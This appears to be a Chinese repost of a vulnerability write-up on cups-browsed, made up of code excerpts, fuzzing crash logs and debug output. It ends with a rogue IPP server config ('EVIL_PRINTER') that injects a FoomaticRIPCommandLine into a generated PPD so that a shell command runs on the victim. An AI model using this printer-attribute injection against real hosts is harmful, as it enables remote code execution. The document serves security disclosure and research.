通过 CUPS 攻击 UNIX 系统，第一部分

Proto Recv-Q Send-Q Local Address           Foreign Address         State 
...
udp        0 0 0.0.0.0:631             0.0.0.0:*
...

cupsd     1868642 root    6u  IPv6 32034095      0t0  TCP ip6-localhost:ipp (LISTEN)
cupsd     1868642 root    8u  IPv4 32034096      0t0  TCP localhost:ipp (LISTEN)
cups-brow 1868652 root    7u  IPv4 32024370      0t0  UDP *:631

root     1868652  0.0  0.0 172692 11196 ? Ssl  13:20   0:00 /usr/sbin/cups-browsed

...
struct sockaddr_in addr;
memset (&addr, 0, sizeof (addr));
addr.sin_addr.s_addr = htonl (INADDR_ANY);
addr.sin_family = AF_INET;
addr.sin_port = htons (BrowsePort);
if (bind (browsesocket, (struct sockaddr *)&addr, sizeof (addr)))
{
    debug_printf("failed to bind CUPS Browsing socket: %sn",
        strerror (errno));
    close (browsesocket);
    browsesocket = -1;
}
...

got = recvfrom (browsesocket, packet, sizeof (packet) - 1, 0,
        &srcaddr.addr, &srclen);

// ... error checking removed for brevity ...

packet[got] = '�';
httpAddrString (&srcaddr, remote_host, sizeof (remote_host) - 1);

// Check this packet is allowed
if (!allowed ((struct sockaddr *) &srcaddr))
{
    debug_printf("browse packet from %s disallowedn",
            remote_host);
    return (TRUE);
}

// debug loggig removed for brevity

if (sscanf (packet, "%x%x%1023s", &type, &state, uri) < 3)

end = packet + sizeof(packet);
c = strchr (packet, '"');
if (c >= end)
    return (TRUE);

if (c)
{
    // Extract location field
    {
        int i;
        c++;
        for (i = 0;
             i < sizeof (location) - 1 && *c != '"' && c < end;
             i++, c++)
                location[i] = *c;
        location[i] = '&#x0;';
        debug_printf("process_browse_data: location: |%s|n", location); // !!
    }
    for (; c < end && *c != '"'; c++);

    if (c >= end)
        return (TRUE);

    if (*c == '"')
        for (c++; c < end && isspace(*c); c++);

    if (c >= end)
        return (TRUE);

    // Is there an info field?
    if (*c == '"')
    {
        int i;
        c++;
        for (i = 0;
             i < sizeof (info) - 1 && *c != '"' && c < end;
             i++, c++)
            info[i] = *c;
        info[i] = '&#x0;';
        debug_printf("process_browse_data: info: |%s|n", info); // !!
    }
}

if (c >= end)
    return (TRUE);

process_browse_data() in THREAD 136077340691200
got= 1135
httpAddrGetString(addr=0x7bc2f7f098a0, s=0x7bc2f7f09a00, slen=255)
1httpAddrGetString: returning "UNKNOWN"...
browse packet received from UNKNOWN
process_browse_data: location: |IIIIIIII???????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????@???????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????|
=================================================================
==28780==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7bc2f7f09820 at pc 0x58293fb0926b bp 0x7fffa0308490 sp 0x7fffa0308488
READ of size 1 at 0x7bc2f7f09820 thread T0
    #0 0x58293fb0926a in process_browse_data(char const*) /home/evilsocket/lab/cups-fuzz/process_browse_data/main.cpp:264:42
    #1 0x58293fb093d6 in main /home/evilsocket/lab/cups-fuzz/process_browse_data/main.cpp:292:9
    #2 0x7bc2fa42a1c9 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
    #3 0x7bc2fa42a28a in __libc_start_main csu/../csu/libc-start.c:360:3
    #4 0x58293fa293e4 in _start (/home/evilsocket/lab/cups-fuzz/process_browse_data/fuzz-target+0x2d3e4) (BuildId: a6df1903658bcb123c38a4a928f80e2a81b617e1)

Address 0x7bc2f7f09820 is located in stack of thread T0 at offset 2080 in frame
    #0 0x58293fb08557 in process_browse_data(char const*) /home/evilsocket/lab/cups-fuzz/process_browse_data/main.cpp:164

  This frame has 8 object(s):
    [32, 2080) 'packet' (line 165) <== Memory access at offset 2080 overflows this variable
    [2208, 2464) 'srcaddr' (line 166)
    [2528, 2532) 'type' (line 169)
    [2544, 2548) 'state' (line 170)
    [2560, 2816) 'remote_host' (line 171)
    [2880, 3904) 'uri' (line 172)
    [4032, 5056) 'location' (line 173)
    [5184, 6208) 'info' (line 174)
HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
      (longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow /home/evilsocket/lab/cups-fuzz/process_browse_data/main.cpp:264:42 in process_browse_data(char const*)
Shadow bytes around the buggy address:
  0x7bc2f7f09580: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7bc2f7f09600: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7bc2f7f09680: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7bc2f7f09700: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7bc2f7f09780: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x7bc2f7f09800: 00 00 00 00[f2]f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2
  0x7bc2f7f09880: f2 f2 f2 f2 00 00 00 00 00 00 00 00 00 00 00 00
  0x7bc2f7f09900: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7bc2f7f09980: 00 00 00 00 f2 f2 f2 f2 f2 f2 f2 f2 04 f2 04 f2
  0x7bc2f7f09a00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7bc2f7f09a80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable: 00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone: fa
  Freed heap region: fd
  Stack left redzone: f1
  Stack mid redzone: f2
  Stack right redzone: f3
  Stack after return: f5
  Stack use after scope: f8
  Global redzone: f9
  Global init order: f6
  Poisoned by user: f7
  Container overflow: fc
  Array cookie: ac
  Intra object redzone: bb
  ASan internal: fe
  Left alloca redzone: ca
  Right alloca redzone: cb
==28780==ABORTING

//
// A CUPS printer has been discovered via CUPS Browsing
// or with BrowsePoll
//
static void
found_cups_printer(const char *remote_host,
       const char *uri,
       const char *location,
       const char *info)

{
  // ... initialization skipped ...

  httpSeparateURI(HTTP_URI_CODING_ALL, uri,
      scheme, sizeof(scheme) - 1,
      username, sizeof(username) - 1,
      host, sizeof(host) - 1,
      &port,
      resource, sizeof(resource)- 1);

// For a remote CUPS printer our local queue will be raw or get a
// PPD file from the remote CUPS server, so that the driver on the
// remote CUPS server gets used. So we will not generate a PPD file
// or interface script at this point.
p->netprinter = 0;
if (p->uri[0] != '�')
{
    p->prattrs = cfGetPrinterAttributes(p->uri, NULL, 0, NULL, 0, 1);
    debug_log_out(cf_get_printer_attributes_log);
    if (p->prattrs == NULL)
    {
        debug_printf("get-printer-attributes IPP call failed on printer %s (%s).n",
            p->queue_name, p->uri);
        goto fail;
    }
}

...
Wed Sep 4 13:15:32 2024 127517144909504 Creating permanent CUPS queue God_192_168_50_19.
Wed Sep 4 13:15:32 2024 127517144909504 Loading saved printer options for God_192_168_50_19 from /var/cache/cups-browsed/cups-browsed-options-God_192_168_50_19
Wed Sep 4 13:15:32 2024 127517144909504 Failed reading file /var/cache/cups-browsed/cups-browsed-options-God_192_168_50_19, probably no options recorded yet
Wed Sep 4 13:15:32 2024 127517144909504 Print queue God_192_168_50_19 is for remote CUPS queue(s) and we get notifications from CUPS, using implicit class device URI implicitclass://God_192_168_50_19/
Wed Sep 4 13:15:32 2024 127517144909504 PPD generation successful: PDF PPD generated.
Wed Sep 4 13:15:32 2024 127517144909504 Created temporary PPD file: /tmp/00f9466d902dc
Wed Sep 4 13:15:32 2024 127517144909504 Using PPD /tmp/00f9466d902dc for queue God_192_168_50_19.
Wed Sep 4 13:15:32 2024 127517144909504 Editing PPD file /tmp/00f9466d902dc for printer God_192_168_50_19, setting the option defaults of the previous cups-browsed session and doing client-side filtering of the job, saving the resulting PPD in /tmp/00f9466d9231e.
Wed Sep 4 13:15:32 2024 127517144909504 Non-raw queue God_192_168_50_19 with PPD file: /tmp/00f9466d9231e
...

// If we do not want CUPS-generated PPDs or we cannot obtain a
// CUPS-generated PPD, for example if CUPS does not create a
// temporary queue for this printer, we generate a PPD by
// ourselves
printer_ipp_response = (num_cluster_printers == 1) ? p->prattrs :
printer_attributes;
if (!ppdCreatePPDFromIPP2(ppdname, sizeof(ppdname), printer_ipp_response,
        make_model,
        pdl, color, duplex, conflicts, sizes,
        default_pagesize, default_color,
        ppdgenerator_msg, sizeof(ppdgenerator_msg)))
{
    if (errno != 0)
        debug_printf("Unable to create PPD file: %sn",
            strerror(errno));
    else
        debug_printf("Unable to create PPD file: %sn",
            ppdgenerator_msg);
    p->status = STATUS_DISAPPEARED;
    current_time = time(NULL);
    p->timeout = current_time + TIMEOUT_IMMEDIATELY;
    goto end;
}
else
{
    debug_printf("PPD generation successful: %sn", ppdgenerator_msg);
    debug_printf("Created temporary PPD file: %sn", ppdname);
    ppdfile = strdup(ppdname);
}

if ((attr = ippFindAttribute(supported, "printer-make-and-model",
             IPP_TAG_TEXT)) != NULL)
    strlcpy(make, ippGetString(attr, 0, NULL), sizeof(make));
  else if (make_model && make_model[0] != '�')
    strlcpy(make, make_model, sizeof(make));
  else
    strlcpy(make, "Unknown Printer", sizeof(make));

  if (!strncasecmp(make, "Hewlett Packard ", 16) ||
      !strncasecmp(make, "Hewlett-Packard ", 16))
  {
    model = make + 16;
    strlcpy(make, "HP", sizeof(make));
  }
  else if ((model = strchr(make, ' ')) != NULL)
    *model++ = '�';
  else
    model = make;

  cupsFilePrintf(fp, "*Manufacturer: "%s"n", make); // <--- LOL
  cupsFilePrintf(fp, "*ModelName: "%s %s"n", make, model); // <--- LOL
  cupsFilePrintf(fp, "*Product: "(%s %s)"n", make, model); // <--- LOL
  cupsFilePrintf(fp, "*NickName: "%s %s, %sdriverless, %s"n",
     make, model, (is_fax ? "Fax, " : ""), VERSION);
  cupsFilePrintf(fp, "*ShortNickName: "%s %s"n", make, model); // <--- LOL

*% =================================
*% Basic Device Capabilities
*% =================================
*LanguageLevel: "2"
*ColorDevice: True
*DefaultColorSpace: CMYK
*TTRasterizer: Type42
*FileSystem: False
*Throughput: "10"

*FoomaticRIPCommandLine: "(printf '�33%%-12345X@PJLn@PJL JOBn@PJL SET COPIES=&copies;n'%G|perl -p -e "s/x26copiesx3b/1/");
(gs -q -dBATCH -dPARANOIDSAFER -dNOPAUSE -dNOINTERPOLATE %B%A%C %D%E | perl -p -e "s/^x1bx25-12345X//" | perl -p -e "s/xc1x01x00xf8x31x44/x44/g");
(printf '@PJLn@PJL EOJn�33%%-12345X')"

# ... other configuration removed for brevity ...

# enables the IPP server
ipp:
    # this can be the name of an existing device
    # in which case its original IPP record will be transparently hijacked
    printer-name: EVIL_PRINTER

    # where the magic happens, it's important to preserve the new lines
    printer-privacy-policy-uri: |
        https://www.google.com/"
        *FoomaticRIPCommandLine: "echo 1 > /tmp/PWNED"
        *cupsFilter2 : "application/pdf application/vnd.cups-postscript 0 foomatic-rip

感谢您抽出

.

.

来阅读本文

点它，分享点赞在看都在这里